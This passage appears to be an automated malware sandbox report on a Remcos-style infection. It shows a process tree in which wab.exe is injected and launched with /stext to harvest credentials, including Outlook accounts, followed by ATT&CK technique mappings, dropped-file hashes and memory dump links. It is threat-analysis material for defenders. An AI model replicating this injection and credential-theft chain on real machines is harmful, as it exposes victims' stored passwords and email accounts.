      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snoretrkkene.Rut && echo t"
      4⤵
      PID:2960
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1968
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bpkiysclqtdpduryxonwfadqyccbhd"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4444
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\lkpbyknnmbvufafkgzapqnpzhrtcaoljq"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:1472
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\wevtz"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 a38f654db7a21bb6fc944f346c77daff3eca4c1b57f6d76ccca76fe9a75003de
MD5 321f5685f5e918aef2ada5bcf1dfba6a
SHA1 689dbb800b987fd94cdf915ecf105fd4dad61980
SHA512 7c5ca0f9600e4a4b2218632540cf52ef7370a42f8ea84faa52d6f5963c1946584138fb57913f6cf80e06cb406717bc48729f9495d41ba2ee60b39314e7cafba1
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_v02sulxm.dj3.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v02sulxm.dj3.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

bpkiysclqtdpduryxonwfadqyccbhd

Path C:\Users\Admin\AppData\Local\Temp\bpkiysclqtdpduryxonwfadqyccbhd
Size 4KB
SHA256 39778b2ce19d6da1270a9bc5b408bed7e44e95d033db5e2debe433d3f4222d45
MD5 2d92eeffc6bb97ea5f0d952d2afc233b
SHA1 b9d25454ff381311f4b27114b3ba3a089231010e
SHA512 a5bd0252e0a852dbdedb6f7afca5dc043703071da82e6a03e114de8752084b9d2fa439f1151b3bec10bc693dab679ff2933f41a5befaf143a375d3bbe0f85e07
SSDEEP 48:wvvv0QrxfvvcQrxfdvv0QrxBvv0Qrxakvv0Qr7:mvdxvFp1vdPvdbvd7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Snoretrkkene.Rut

Path C:\Users\Admin\AppData\Roaming\Snoretrkkene.Rut
Size 461KB
SHA256 f425ecb2e6800d59c282f40dfa95ea8dd37eafb42db6f8a2cd84f92e694503ee
MD5 872a9b303812e59e2ecebdc0806f8187
SHA1 2b6a3bb525aba590f7513d40f7f323137eda401f
SHA512 2e7acb264aa2b78ac87bbed972d0759315b4d75b0cc528150c54a98bedb8758209d5910a3658688c57f1f943bd9ba320c014082cc4ea15d69f5e4167936cb9fc
SSDEEP 6144:ZxL2w0SathCjwv8lDAugKRLUcZTcpwQL+U8lOoB5dYn5ZjW0tb6VAWzGa:Zx5EqOmkALDZTc2QeH3e5ZZtbAj
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1472-65-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1472-68-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1472-70-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1968-82-0x0000000021670000-0x0000000021689000-memory.dmp

Download

memory/1968-78-0x0000000021670000-0x0000000021689000-memory.dmp

Download

memory/1968-81-0x0000000021670000-0x0000000021689000-memory.dmp

Download

memory/1968-83-0x0000000001000000-0x0000000002254000-memory.dmp

Download

memory/1968-86-0x0000000001000000-0x0000000002254000-memory.dmp

Download

memory/1968-61-0x0000000001000000-0x0000000002254000-memory.dmp

Download

memory/1968-58-0x0000000001000000-0x0000000002254000-memory.dmp

Download

memory/1968-54-0x0000000001000000-0x0000000002254000-memory.dmp

Download

memory/1968-51-0x0000000001000000-0x0000000002254000-memory.dmp

Download

memory/1968-42-0x0000000001000000-0x0000000002254000-memory.dmp

Download

memory/2328-30-0x00000000068A0000-0x00000000068BE000-memory.dmp

Download

memory/2328-29-0x0000000006260000-0x00000000065B4000-memory.dmp

Download

memory/2328-38-0x00000000092E0000-0x000000000D1BE000-memory.dmp

Download

memory/2328-15-0x0000000005310000-0x0000000005346000-memory.dmp

Download

memory/2328-16-0x0000000005980000-0x0000000005FA8000-memory.dmp

Download

memory/2328-35-0x0000000007AF0000-0x0000000007B12000-memory.dmp

Download

memory/2328-17-0x0000000005FF0000-0x0000000006012000-memory.dmp

Download

memory/2328-34-0x0000000007B60000-0x0000000007BF6000-memory.dmp

Download

memory/2328-33-0x0000000006E10000-0x0000000006E2A000-memory.dmp

Download

memory/2328-32-0x0000000008100000-0x000000000877A000-memory.dmp

Download

memory/2328-31-0x00000000068D0000-0x000000000691C000-memory.dmp

Download

memory/2328-19-0x0000000006170000-0x00000000061D6000-memory.dmp

Download

memory/2328-18-0x0000000006090000-0x00000000060F6000-memory.dmp

Download

memory/2328-36-0x0000000008D30000-0x00000000092D4000-memory.dmp

Download

memory/3512-39-0x00007FF9B8513000-0x00007FF9B8515000-memory.dmp

Download

memory/3512-0-0x00007FF9B8513000-0x00007FF9B8515000-memory.dmp

Download

memory/3512-49-0x00007FF9B8510000-0x00007FF9B8FD1000-memory.dmp

Download

memory/3512-40-0x00007FF9B8510000-0x00007FF9B8FD1000-memory.dmp

Download

memory/3512-12-0x00007FF9B8510000-0x00007FF9B8FD1000-memory.dmp

Download

memory/3512-11-0x00007FF9B8510000-0x00007FF9B8FD1000-memory.dmp

Download

memory/3512-8-0x0000016AC53B0000-0x0000016AC53D2000-memory.dmp

Download

memory/4080-69-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4080-71-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4080-66-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4444-64-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4444-67-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4444-72-0x0000000000400000-0x0000000000478000-memory.dmp

Download